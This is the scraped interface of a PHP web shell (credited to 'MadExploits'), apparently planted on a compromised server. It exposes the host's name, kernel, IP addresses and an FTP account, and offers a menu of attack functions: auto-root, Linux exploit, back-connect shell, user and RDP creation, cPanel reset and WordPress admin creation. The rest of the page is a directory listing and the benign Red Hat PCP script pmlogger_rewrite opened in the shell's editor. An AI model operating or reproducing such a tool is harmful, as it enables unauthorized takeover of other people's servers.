Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
pcp /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
discover
[ DIR ]
drwxr-xr-x
chkhelp
16.28
KB
-rwxr-xr-x
find-filter
11.86
KB
-rwxr-xr-x
install-sh
9.06
KB
-rwxr-xr-x
mkaf
2.82
KB
-rwxr-xr-x
newhelp
20.84
KB
-rwxr-xr-x
pcp-atop
300.56
KB
-rwxr-xr-x
pcp-atopsar
300.56
KB
-rwxr-xr-x
pcp-dmcache
7.13
KB
-rwxr-xr-x
pcp-dstat
70.37
KB
-rwxr-xr-x
pcp-free
9.78
KB
-rwxr-xr-x
pcp-htop
257.34
KB
-rwxr-xr-x
pcp-iostat
20.78
KB
-rwxr-xr-x
pcp-ipcs
6.82
KB
-rwxr-xr-x
pcp-lvmcache
7.13
KB
-rwxr-xr-x
pcp-mpstat
29.08
KB
-rwxr-xr-x
pcp-numastat
6.33
KB
-rwxr-xr-x
pcp-pidstat
49.64
KB
-rwxr-xr-x
pcp-python
925
B
-rwxr-xr-x
pcp-shping
3.47
KB
-rwxr-xr-x
pcp-ss
17.38
KB
-rwxr-xr-x
pcp-summary
11.21
KB
-rwxr-xr-x
pcp-tapestat
18.38
KB
-rwxr-xr-x
pcp-uptime
4.89
KB
-rwxr-xr-x
pcp-verify
7.72
KB
-rwxr-xr-x
pcp-vmstat
1.54
KB
-rwxr-xr-x
pmcd
119.19
KB
-rwxr-xr-x
pmcd_wait
12.77
KB
-rwxr-xr-x
pmconfig
12.91
KB
-rwxr-xr-x
pmcpp
24.88
KB
-rwxr-xr-x
pmfind_check
4.7
KB
-rwxr-xr-x
pmgetopt
21.68
KB
-rwxr-xr-x
pmhostname
12.23
KB
-rwxr-xr-x
pmie_check
21.05
KB
-rwxr-xr-x
pmie_daily
13.92
KB
-rwxr-xr-x
pmie_dump_stats
11.87
KB
-rwxr-xr-x
pmie_email
1.76
KB
-rwxr-xr-x
pmie_farm
896
B
-rwxr-xr-x
pmiestatus
11.83
KB
-rwxr-xr-x
pmlock
11.83
KB
-rwxr-xr-x
pmlogconf
54.48
KB
-rwxr-xr-x
pmlogextract
70.02
KB
-rwxr-xr-x
pmlogger
143.2
KB
-rwxr-xr-x
pmlogger_check
28.14
KB
-rwxr-xr-x
pmlogger_daily
43.11
KB
-rwxr-xr-x
pmlogger_farm
919
B
-rwxr-xr-x
pmlogger_merge
6.66
KB
-rwxr-xr-x
pmlogger_rewrite
8
KB
-rwxr-xr-x
pmlogreduce
33.19
KB
-rwxr-xr-x
pmlogrewrite
146.09
KB
-rwxr-xr-x
pmnewlog
810
B
-rwxr-xr-x
pmnsadd
2.89
KB
-rwxr-xr-x
pmnsdel
16.83
KB
-rwxr-xr-x
pmnsmerge
17.02
KB
-rwxr-xr-x
pmpause
12.37
KB
-rwxr-xr-x
pmpost
16.33
KB
-rwxr-xr-x
pmproxy
140.98
KB
-rwxr-xr-x
pmsignal
2.72
KB
-rwxr-xr-x
pmsleep
12.37
KB
-rwxr-xr-x
pmwtf
7.63
KB
-rwxr-xr-x
telnet-probe
11.84
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pmlogger_rewrite
#! /bin/sh # # Copyright (c) 2014 Red Hat. # Copyright (c) 1995,2003 Silicon Graphics, Inc. All Rights Reserved. # Copyright (c) 2018 Ken McDonell. All Rights Reserved. # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY # or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License # for more details. # # wrapper for pmlogrewrite # # exit status # 0 nothing changed # 1 at least one PCP archive was rewritten # 2 non-fatal warning # 4 aborted # # Get standard environment . $PCP_DIR/etc/pcp.env # ... and _is_archive() . $PCP_SHARE_DIR/lib/utilproc.sh prog=`basename $0` tmp=`mktemp -d "$PCP_TMPFILE_DIR/pmlogger_rewrite.XXXXXXXXX"` || exit 1 status=0 trap "rm -rf $tmp; exit \$status" 0 1 2 3 15 cat > $tmp/usage << EOF # Usage: [options] archive ... Options: -c=FILE,--config=FILE [pmlogrewrite] config file/dir -d, --desperate [pmlogrewrite] desperate, save output archive even after error -N, --showme perform a dry run, showing what would be done -s, --scale [pmlogrewrite] do scale conversion -V, --verbose increase diagnostic verbosity -v [pmlogrewrite] increased diagnostic verbosity -w, --warnings [pmlogrewrite] emit warnings --help EOF # option parsing ARGS=`pmgetopt --progname=$prog --config=$tmp/usage -- "$@"` if [ $? != 0 ] then status=4 exit fi verbose=false very_verbose=false showme=false rewrite_args="-iq" eval set -- "$ARGS" while [ $# -gt 0 ] do case "$1" in -c) shift rewrite_args="$rewrite_args -c \"$1\"" ;; -d) rewrite_args="$rewrite_args -d" ;; -N) showme=true ;; -s) rewrite_args="$rewrite_args -s" ;; -V) if $verbose then very_verbose=true else verbose=true fi ;; -v) rewrite_args="$rewrite_args -v" ;; -w) rewrite_args="$rewrite_args -w" ;; --) shift break ;; -\?) pmgetopt --usage --progname=$prog --config=$tmp/usage status=4 exit ;; esac shift done if [ $# -eq 0 ] then pmgetopt --usage --progname=$prog --config=$tmp/usage status=4 exit fi # get $compress_suffixes variable eval `pmconfig -L -s compress_suffixes` # For each command line argument, if it is a directory descent to find # all files and insert these into the command line arguments list in # place of the directory name. # Then for each (file) name argument, reduce it to a PCP archive base # name (strip compression suffix, strip .index or .meta or the # volume number), check the corresponding metadata file exists and this # is not a base name we've already seen ... if you get this far, add the # base name to the list of archives to be processed # rm -f $tmp/ags touch $tmp/args for try do if [ -d "$try" ] then # crude filter here ... more precise filtering later on # find "$try" -type f \ | egrep '(\.meta|\.index|\.[0-9][0-9]*)($|(\.xz|\.lzma|\.bz2|\.bz|\.gz|\.Z|\.z)$)' >>$tmp/args else echo "$try" >>$tmp/args fi done rm -f $tmp/archives touch $tmp/archives for try in `cat $tmp/args` do base="$try" for suff in $compress_suffixes do if echo "$try" | grep "$suff\$" >/dev/null then base=`echo "$try" | sed -e "s/$suff\$//"` break fi done # only one valid match is possible below ... # case "$base" in *.index) base=`echo "$base" | sed -e 's/\.index$//'` ;; *.meta) base=`echo "$base" | sed -e 's/\.meta$//'` ;; *.[0-9]|*.[0-9][0-9]|*.[0-9]*[0-9]) base=`echo "$base" | sed -e 's/\.[0-9]*[0-9]$//'` ;; *) # may already be the base name of an archive ... look for # a .meta or .meta.* file # rm -f $tmp/ok if [ -f "$base".meta ] then touch $tmp/ok else for suff in $compress_suffixes do if [ -f "$base.meta"$suff ] then touch $tmp/ok break fi done fi if [ ! -f $tmp/ok ] then base='' $verbose && echo "Warning: $try: not a PCP archive name" fi ;; esac [ -z "$base" ] && continue if [ "$try" != "$base" ] then $very_verbose && echo "suffix stripping: arg: $try -> $base" fi if grep "^$base" $tmp/archives >/dev/null then $very_verbose && echo "$base: duplicate, already in archives list" else check=`echo $base.meta*` if $showme || _is_archive "$check" then echo "$base" >>$tmp/archives fi fi done if [ ! -s $tmp/archives ] then $verbose && echo "Warning: no PCP archives found" exit fi # now for every selected archive ... check it is not active and the archive # is OK, then rewrite and if a file is changed, recompress if the original # file was compressed # for archive in `cat $tmp/archives` do if $showme then echo "+ check $archive not active and OK" echo "+ pmlogrewrite $rewrite_args $archive" continue fi pid=`pmdumplog -L $archive | sed -n -e '/^PID for pmlogger: /s///p' 2>/dev/null` if [ -z "$pid" ] then pmdumplog -L $archive echo "Botch: cannot get pmlogger PID from label record for $archive" continue fi if pmprobe -I pmcd.pmlogger.port | grep "\"$pid\"" >/dev/null then $verbose && echo "Warning: skip archive $archive, pmlogger PID $pid is still running" continue fi if pmlogcheck -w "$archive" >$tmp/out 2>&1 then # OK : elif [ -s $tmp/out ] then $verbose && cat $tmp/out echo "Warning: $base: bad archive, rewriting skipped" continue else # empty output but non-zero exit status? # echo "Warning: $base: bad archive (pmlogcheck exit status=$?), rewriting skipped" continue fi if `which sum >/dev/null 2>&1` then SUM=sum elif `which cksum >/dev/null 2>&1` then SUM=cksum else # Using wc(1) is lame, but no real choice! # echo "Warning: can't find sum(1) or chksum(1)" SUM="wc -c" fi # use sum(1) or cksum(1) to detect changes at the level of individual files # rm -f $tmp/sum.before for file in $archive.* do echo "$file `$SUM "$file" | sed -e 's/[ ][ ]*/ /g'`" >>$tmp/sum.before done eval pmlogrewrite $rewrite_args "$archive" rm -f $tmp/sum.after for file in $archive.* do echo "$file `$SUM "$file" | sed -e 's/[ ][ ]*/ /g'`" >>$tmp/sum.after done # now use comm to find the lines that are in $tmp/sum.after and not # in $tmp/sum.before ... these are the files that have been changed # by pmlogrewrite # comm -13 $tmp/sum.before $tmp/sum.after \ | while read file stuff do old_file=`grep "^$file" $tmp/sum.before | sed -e 's/[ ].*//'` if [ "$file" != "$old_file" ] then # original file name and current file name do not match ... # only cause should be compressed input file, uncompressed # output file # case "$old_file" in *.xz|*.lzma) if which xz >/dev/null 2>&1 then # same logic as in pmlogger_daily for optimal # compression # if xz -0 --block-size=10MiB </dev/null >/dev/null 2>&1 then # want minimal overheads, -0 is the same as --fast xz -0 --block-size=10MiB "$file" else xz "$file" fi $very_verbose && echo "changed and recompressed: $old_file" else echo "Warning: no xz(1), cannot recompress $file" fi ;; *.bz2|*.bz) if which bzip2 >/dev/null 2>&1 then bzip2 "$file" $very_verbose && echo "changed and recompressed: $old_file" else echo "Warning: no bzip2(1), cannot recompress $file" fi ;; *.gz|*.Z|*.z) if which gzip >/dev/null 2>&1 then gzip "$file" $very_verbose && echo "changed and recompressed: $old_file" else echo "Warning: no gzip(1), cannot recompress $file" fi ;; *) echo "Botch: cannot handle rewriting file name change: $old_file -> $file" ;; esac else $very_verbose && echo "changed: $old_file" fi done done exit
Close